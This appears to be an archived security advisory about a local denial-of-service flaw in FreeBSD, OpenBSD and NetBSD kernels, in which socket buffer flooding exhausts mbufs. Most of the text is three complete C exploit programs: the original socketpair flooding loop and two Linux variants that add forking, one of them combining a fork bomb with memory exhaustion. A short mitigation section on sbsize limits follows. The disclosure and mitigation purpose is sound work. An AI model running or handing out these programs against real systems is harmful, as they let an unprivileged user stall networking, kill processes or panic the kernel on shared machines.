COMMAND

    kernel

SYSTEMS AFFECTED

    FreeBSD 3.3-RELEASE, FreeBSD 4.0-RELEASE, FreeBSD 5.0 (maybe)
    Openbsd 2.5, Openbsd 2.6, Openbsd 2.7 (maybe), NetBSD  1.4.1

PROBLEM

    Sven Berkenvs  found following.   He stumbled  across a  denial of
    service attack  on FreeBSD  systems, where  an unpriviledged  user
    can panic  the kernel.   The kernel  logs one  "/bsd: mb_map full"
    and all processes  trying to send  something over the  network get
    stuck waiting in mbuf.  Locally the system continues to function.

    The original code written by Sven Berkenvs that causes this:

    #include        <unistd.h>
    #include        <sys/socket.h>
    #include        <fcntl.h>

    #define         BUFFERSIZE      204800

    extern  int
    main(void)
    {
            int             p[2], i;
            char            crap[BUFFERSIZE];

            while (1)
            {
                    if (socketpair(AF_UNIX, SOCK_STREAM, 0, p) == -1)
                            break;
                    i = BUFFERSIZE;
                    setsockopt(p[0], SOL_SOCKET, SO_RCVBUF, &i,sizeof(int));
                    setsockopt(p[0], SOL_SOCKET, SO_SNDBUF, &i,sizeof(int));
                    setsockopt(p[1], SOL_SOCKET, SO_RCVBUF, &i,sizeof(int));
                    setsockopt(p[1], SOL_SOCKET, SO_SNDBUF, &i,sizeof(int));
                    fcntl(p[0], F_SETFL, O_NONBLOCK);
                    fcntl(p[1], F_SETFL, O_NONBLOCK);
                    write(p[0], crap, BUFFERSIZE);
                    write(p[1], crap, BUFFERSIZE);
            }
            exit(0);
    }

    Linux  is  not  generally  vulnerable  to  the  exploit as posted,
    because it seems  to only accept  64512 bytes from  the write(2)s,
    and limit the  file descriptor table  to 256 entries  (at least by
    default), thus making the program  chew up less memory.   However,
    a  trivial  variant  (see  below)  causes memory exhaustion on the
    Linux system tested.  Interestingly, this did not cause the  Linux
    system to  crash, but  it does  cause a  bunch of  processes to be
    killed -- gpm, klogd, update, crond, and finally the test  program
    itself.  So there is still a denial of service, especially if  the
    program is  modified to  continually fork  as well  (also attached
    below, although it could be done a bit better).

    #include        <unistd.h>
    #include        <sys/socket.h>
    #include        <fcntl.h>
    
    #define         NPROCS          20
    #define         BUFFERSIZE      204800
    
    extern  int
    main(void)
    {
            int             p[2], i;
            char            crap[BUFFERSIZE];
    
            for (i = 0; i < NPROCS - 1; i++) {
                    if (fork())
                            break;
            }
            sleep(5);
            while (1)
            {
                    if (socketpair(AF_UNIX, SOCK_STREAM, 0, p) == -1)
                            break;
                    i = BUFFERSIZE;
                    setsockopt(p[0], SOL_SOCKET, SO_RCVBUF, &i, sizeof(int));
                    setsockopt(p[0], SOL_SOCKET, SO_SNDBUF, &i, sizeof(int));
                    setsockopt(p[1], SOL_SOCKET, SO_RCVBUF, &i, sizeof(int));
                    setsockopt(p[1], SOL_SOCKET, SO_SNDBUF, &i, sizeof(int));
                    fcntl(p[0], F_SETFL, O_NONBLOCK);
                    fcntl(p[1], F_SETFL, O_NONBLOCK);
                    write(p[0], crap, BUFFERSIZE);
                    write(p[1], crap, BUFFERSIZE);
            }
            pause();
    
            return (0);
    }
    -----8<-----snip-----8<-----snip-----8<-----snip-----8<-----snip-----8<-----
    #include        <unistd.h>
    #include        <sys/socket.h>
    #include        <fcntl.h>
    
    #define         BUFFERSIZE      204800
    
    extern  int
    main(void)
    {
            int             p[2], i;
            char            crap[BUFFERSIZE];
    
            while (1)
            {
                    fork();
                    if (socketpair(AF_UNIX, SOCK_STREAM, 0, p) == -1)
                            break;
                    i = BUFFERSIZE;
                    setsockopt(p[0], SOL_SOCKET, SO_RCVBUF, &i, sizeof(int));
                    setsockopt(p[0], SOL_SOCKET, SO_SNDBUF, &i, sizeof(int));
                    setsockopt(p[1], SOL_SOCKET, SO_RCVBUF, &i, sizeof(int));
                    setsockopt(p[1], SOL_SOCKET, SO_SNDBUF, &i, sizeof(int));
                    fcntl(p[0], F_SETFL, O_NONBLOCK);
                    fcntl(p[1], F_SETFL, O_NONBLOCK);
                    write(p[0], crap, BUFFERSIZE);
                    write(p[1], crap, BUFFERSIZE);
            }
            pause();
    
            return (0);
    }

SOLUTION

    FreeBSD 4 and  above are not  vulnerable if proper  limits are put
    into place.  These limits should  be setup at the same time  other
    limits (such  as 'maxproc'  to disallow  forkbombing) are  set up.
    Please  see  the  the  RLIMIT_SBSIZE  option  for setrlimit(2), it
    allows a  reasonable limit  to be  set for  users socket  buffers.
    An  undocumeted  option  for  login.conf(5)  'sbsize'  allows this
    restriction to be put into place for users:

        :sbsize=1048576:\

    Of course the real solution  is rmuser(8), but that's a  matter of
    policy.